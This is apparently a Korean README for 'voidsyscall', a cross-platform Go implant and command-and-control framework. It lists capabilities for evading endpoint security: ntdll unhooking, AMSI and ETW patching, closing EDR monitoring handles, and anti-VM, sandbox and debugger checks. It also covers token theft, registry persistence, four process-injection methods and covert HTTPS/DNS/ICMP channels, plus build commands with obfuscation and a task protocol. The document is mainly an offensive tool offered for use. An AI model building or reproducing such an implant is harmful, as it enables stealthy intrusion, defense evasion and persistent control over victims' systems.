
크로스 플랫폼 시스템 콜 기반 임플란트 & C2 — 직접 시스템 콜 (Win), 원시 시스템 콜 (Linux), HTTPS/DNS/ICMP 채널. winapi 계층 없음.
WinAPI 제로. 모든 NT 프리미티브는 메모리 내 ntdll에서 런타임에 해석됨 —
SYSCALL 명령어는 Plan9 어셈블리 스텁을 통해 직접 발행되며, 임포트 테이블도,
ntdll 유저모드 훅도 건드리지 않음. HTTPS / DNS / ICMP를 통한 C2, 메시지당
AES-256-GCM. Windows 네이티브. Linux 빌드. macOS 빌드.
이것은 syscall 래퍼 라이브러리가 아니다. 코드 주입부터 파일 읽기, 레지스트리
지속성에 이르기까지 모든 작업이 부팅 시 현재 ntdll 익스포트 테이블에서 해석된
raw Nt* syscall을 통해 이루어지는 완전한 임플란트 프레임워크다. 바이너리에는
WinAPI 호출이 존재하지 않는다. EDR이 유저모드에서 훅할 대상이 없다.
B8 xx xx 00 00 0F 05 (직접) 또는
4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate) 탐지. 모든 함수 이름은
컴파일 타임에 해시됨 — 바이너리에 평문 문자열 없음.asm_amd64.s)이 SSN을 EAX에 로드하고,
7개 인자를 수동으로 설정한 뒤 SYSCALL을 실행. RAX/RDX를 통해 반환.0F 05 C3 가젯 (syscall;ret)을 찾아
이를 통해 호출. CPU 트랩이 ntdll 내부에서 발생 — 호출 스택에 임플란트
프레임이 아닌 ntdll 프레임이 표시됨. 어떤 유저모드 훅도 살아남지 못함..text를 RWX로 잠그고, 디스크 매핑된 ntdll에서 원본 바이트를
복사하고, 보호를 복원하고, icache를 플러시하고, SSN 캐시를 제거.
어떤 EDR이 배치한 유저모드 훅이든 사라짐.에이전트는 주입 기법을 자동으로 로테이션한다. 각 호출은 다른 방법을 사용 — 포렌식에서 두 주입이 동일하게 보이지 않음.
모든 검사를 실행하고 점수화된 위협 보고서를 반환. Critical 시 자동 파괴.
모두 Nt* syscall을 통해, WinAPI 없음.
EnablePrivilege(index) — LUID로 모든 권한 설정EnableAllTokenPrivileges() — 한 번에 20개 권한 (Debug, Impersonate, TCB, Backup, Restore 등)GetProcessTokenIntegrityLevel() — 필수 무결성 조회StealProcessToken(pid) — 다른 프로세스 토큰 열기 + 복제ImpersonateThread() / RevertToSelf()EnumVirtualMemory() — NtQueryVirtualMemory로 모든 가상 영역 순회FindWritableExecRegions() — PAGE_EXECUTE_READWRITE 커밋된 영역 찾기HideRegion() — 스캐너로부터 메모리를 숨기기 위해 PAGE_NOACCESS 설정UnhideRegion() — 원래 보호 복원NtCreateFile → NtReadFile / NtWriteFile → NtClose. CreateFileA,
ReadFile, WriteFile, DeleteFileW 호출 제로. ReadFileContents(),
WriteFileContents(), DeleteFileNt(), FileExists().
NtCreateKey → NtSetValueKey. AddRunKeyPersistence(), RemoveRunKeyPersistence().
RegCreateKeyEx, RegSetValueEx 또는 어떤 Advapi32 호출도 없음.
EnumerateSystemHandles() — NtQuerySystemInformation(SystemHandleInformation)을
통해 시스템의 모든 열린 핸들FindEDRHandles() — 소유자 PID를 30개 이상의 알려진 EDR 프로세스
이름 (MsSense, CrowdStrike, Sentinel, Cylance, Carbon Black 등)과 매칭CloseEDRHandles() — EDR이 프로세스에 배치한 모니터링 핸들 닫기IsProcessMonitored() — 불리언 검사: 감시당하고 있는가?NtFreeVirtualMemory 전 3단계 와이프 (랜덤 → 제로 → 원 → 제로).PatchAMSI() — AmsiScanBuffer → MOV EAX, 0; RETPatchETW() — EtwEventWrite → RETPatchNtTraceEvent() — NtTraceEvent → RETPatchDbgUiRemoteBreakin() — 스레드 브레이크인 → RETPatchInstrumentationCallbacks() — ThreadHideFromDebugger| 채널 | 전송 형식 | 전제 조건 |
|---|
모든 채널은 Channel 인터페이스를 구현. NTP, DoH, TURN 추가는
인터페이스 구현을 의미 — 에이전트 변경 제로.
메시지당 AES-256-GCM AEAD. 메시지당 고유 12바이트 nonce. 임플란트별 키링. 패스프레이즈 기반 키 유도 가능. 3개 테스트, 모두 통과.
voidsyscall/
syscallwin/ Direct/indirect NT syscalls + evasion
asm_amd64.s Syscall/IndirectSyscall/ReadGSBase/SetGSBase/asm_cpuid/asm_rdtsc
resolve.go PEB→LDR→ntdll walk, PE export parse, SSN cache, prologue scan
stubs.go ~25 Nt* wrappers, DirectSyscall, IndirectSyscallByHash
hash.go djb2 hash (string + UTF-16 pointer)
constants.go MEM_*, PAGE_*, THREAD_*, TOKEN_*, OBJ_*, REG_*, FILE_*, STATUS_*
unhook.go UnhookNtdll, SelfDel
peb.go PEB patching (BeingDebugged, NtGlobalFlag, Heap, DebugPort)
token.go Privilege escalation, token theft, impersonation
vad.go VAD enumeration, hide/unhide regions
files.go File I/O via Nt* syscalls
registry.go Registry persistence via Nt* syscalls
fingerprint.go SSN dump, build fingerprint, hex export/import
inject_advanced.go 4 injection methods: section mapping, hollow, APC, module stomp
antianalysis.go VM/sandbox/debug/timing detection, scored threat report
handles.go System handle enumeration, EDR handle killer
memcrypt.go Vault (re-keying XOR), SecureDelete, StackEncrypt, WipeMemory
syscallnix/ Linux/darwin raw syscalls
patches/ AMSI, ETW, NtTraceEvent, DbgUiRemoteBreakin, InstrumentationCallbacks
loader/ CreateThread/APC/module-stomp injection
channels/ HTTP, DNS (TXT), ICMP — Channel interface
crypto/ AES-256-GCM, envelope, passphrase variant (3 tests)
server/ SessionManager, Task Queue, interactive REPL
agent/ Config, beacon loop, 10 task handlers
cmd/server/main.go CLI with REPL
cmd/agent/main.go Windows-only entrypoint
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-agent.exe ./cmd/agent
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-server.exe ./cmd/server
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o server-linux ./cmd/server
GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o server-darwin ./cmd/server
garble를 사용한 난독화:
GOOS=windows GOARCH=amd64 garble -literals -tiny build -ldflags="-s -w" \
-o voidsyscall-agent.exe ./cmd/agent
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
./voidsyscall-server.exe --cert cert.pem --key key.pem --https-port 443
./voidsyscall-agent.exe -c agent/example-config.json
ReadGSBase (asm) → GS:[0x60] → TEBLdrInMemoryOrderModuleList 순회 → djb2 해시로 ntdll.dll 매칭IMAGE_DOS_HEADER → e_lfanew → IMAGE_NT_HEADERS → DataDirectory[0] = 익스포트 테이블AddressOfNames[] 순회, 각각 djb2, 대상 매칭AddressOfFunctions[ordinal] → 함수 주소B8 xx xx 00 00 0F 05 (직접), B8 xx xx 00 00 C3 (early-ret), 또는 4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate) 탐지바이너리에 함수 이름 없음. 오직 djb2 해시만. syscall 명령어는
모든 유저모드 훅을 우회한다.
TaskShell // exec via cmd.exe
TaskInject // polymorphic: section/hollow/APC/stomp
TaskPatch // AMSI/ETW/both
TaskEvasion // PEB patches + VM/sandbox/debug/timing detection
TaskHandles // enumerate + kill EDR monitoring handles
TaskFingerprint // dump SSN build fingerprint
TaskToken // privilege escalation + impersonation
TaskVault // encrypted in-memory storage
TaskSleep // jitter-aware sleep
TaskExit // clean shutdown
출시됨: 비콘 루프, 작업 큐, 3개 C2 채널, 4가지 주입 방법,
10개 이상의 회피 검사, 핸들 열거/닫기, 토큰 조작, VAD 작업,
파일 I/O, 레지스트리 지속성, SSN 핑거프린팅, 메모리 암호화,
AMSI/ETW 패칭, AES-GCM 암호화, 세션 관리, 대화형 REPL.
3개 암호화 테스트 통과. Windows에서 go build 클린.
아직 미완: Linux 자율 에이전트 (빌드는 존재, 에이전트 로직 없음), 세션 키 로테이션, 스테이지드 로더, NTP/DoH 채널, 지속성 스케줄링.
MIT — LICENSE
| 방법 | 작동 방식 | 은닉성 이유 |
|---|
| 섹션 매핑 | NtCreateSection → NtMapViewOfSection (원격) → NtCreateThreadEx | VAD에 RWX 할당 없음. 섹션은 파일 기반. 메모리 스캐너는 PAGE_EXECUTE_READWRITE가 아닌 PAGE_EXECUTE_READ를 봄. |
| 프로세스 할로우 | NtCreateUserProcess (일시 중단) → NtSuspendProcess → 이미지 베이스 제로화 → 셸코드 할당 + 쓰기 → NtSetContextThread (RIP = 셸코드) → NtResumeProcess | 프로세스가 작업 관리자에서 정상적인 svchost.exe로 표시됨. 메모리 내용만 다름. |
| APC 큐잉 | NtQuerySystemInformation으로 스레드 열거 → NtOpenThread → NtQueueApcThread | 새 스레드 생성 없음. 새 TEB 없음. 새 스택 할당 없음. 스레드가 경고 가능 대기 상태에 들어갈 때 발동. |
| 모듈 스톰핑 | 대상에 할당 → 최소 PE 헤더 + 셸코드 쓰기 → 진입점에서 NtCreateThreadEx | 모듈 목록에 그럴듯한 DLL 이름 표시. PE 헤더가 모듈 열거를 속일 만큼 유효함. |
| 검사 | 방법 |
|---|
| VM 탐지 | CPUID leaf 0x40000000 하이퍼바이저 시그니처 스캔 (VMware, VirtualBox, Hyper-V, KVM, Xen, QEMU, Parallels) + leaf 0x40000001 폴백 |
| 샌드박스 탐지 | CPU 수, 레지스트리 아티팩트 (VMware Tools, VBox Guest Additions, VMware/VBox 서비스), 샌드박스 프로세스 스캔 (30개 이상의 알려진 이름: wireshark, procmon, x64dbg, ida 등) |
| 디버거 탐지 | PEB.BeingDebugged, PEB.NtGlobalFlag, 힙 디버그 플래그, ProcessDebugPort, ProcessDebugObjectHandle, ProcessDebugFlags, 하드웨어 브레이크포인트 DR0-7, 타이밍 단일 스텝 검사 |
| 타이밍 이상 | RDTSC 기반: NtQuerySystemInformation 지연 50회 샘플링, 평균/표준편차, 샘플의 10% 이상이 3σ 분산을 초과하면 플래그. 계측 오버헤드 탐지. |
| PEB 회피 | BeingDebugged, NtGlobalFlag, ProcessHeap 플래그, DebugPort, ThreadHideFromDebugger 패치 — 모두 GS 세그먼트 읽기 + NtWriteVirtualMemory를 통해. API 호출 없음. |
| HTTPS | 바이너리 POST, 커스텀 프레이밍, 무작위 UA/경로 | TLS 인증서 |
| DNS | <idx>-<total>-<base32> 서브도메인, TXT 응답 | DNS 해석 |
| ICMPv4 | 에코 요청/응답 ID+seq에 페이로드 | raw 소켓 (root/Admin) |
| 작업 | 바이트 | 페이로드 |
|---|
| shell | 0x01 | UTF-8 명령 |
| inject | 0x02 | PID (4바이트 LE) + 셸코드 |
| patch | 0x03 | 0x01=AMSI, 0x02=ETW, 0x03=둘 다 |
| sleep | 0x04 | 초 (4바이트 LE) |
| evasion | 0x10 | 0x01=전체, 0x02=VM, 0x03=샌드박스, 0x04=디버그, 0x05=타이밍, 0x06=보고서 |
| handles | 0x11 | 0x01=개수, 0x02=EDR 열거, 0x03=EDR 닫기, 0x04=모니터링? |
| vault | 0x12 | 암호화된 저장소 작업 |
| fingerprint | 0x13 | SSN 빌드 핑거프린트 덤프 |
| token | 0x14 | 0x01=모두 활성화, 0x02=무결성, 0x03=디버그 권한, 0x04=임퍼소네이트 |
| exit | 0xFF | — |
map[uint32]uint16 캐시에 저장